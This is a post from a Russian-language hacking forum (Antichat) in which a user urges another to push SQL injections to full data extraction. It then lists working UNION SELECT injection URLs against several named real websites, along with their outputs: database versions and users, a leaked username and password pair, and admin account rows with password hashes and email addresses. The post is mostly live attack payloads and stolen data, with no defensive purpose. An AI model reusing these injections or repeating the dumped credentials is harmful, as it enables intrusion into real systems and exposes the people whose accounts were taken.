Форум АНТИЧАТ - Показать сообщение отдельно

2 Tigger

Доводи инъекции до конца или хотя бы выводи version(), user(), database().
Не оставляй просто так, только подобрав поля. Смысла нет =\

2 all =)

Код HTML:

http://www.livingstonfc.co.uk/newsdet.php?news_id=-399+UNION+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&type_id=1

4.0.24:user12325072_1@superultra19.

Код HTML:

http://www.livingstonfc.co.uk/newsdet.php?news_id=-399+UNION+SELECT+1,2,concat_ws(0x3a,name,user_pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+FROM+users/*&type_id=1

Not important:tractor

http://www.zik.com.ua/

Код HTML:

http://www.zik.com.ua/index.php?news_id=45555+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

4.1.22-log:zik@localhost:zik

http://www.nisc.lt/

Код HTML:

http://www.nisc.lt/lt/news.php?news_id=205+UNION+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4,5/*

5.0.27-log:nisc@mysql50:nisc

Код HTML:

http://www.nisc.lt/lt/news.php?news_id=205+UNION+SELECT+1,2,convert(table_name+using+latin1),4,5+FROM+information_schema.tables/*

1: admin:fa2a336347b0da6f022232868d831c73: aivaras@knotdesign.com
9: martinas:16f48b6a5ffdf2665c25dba0a58df350: martinas@nisc.lt
10: olia:ade9fb3441b9794e97329a4adf2b4939: olia@nisc.lt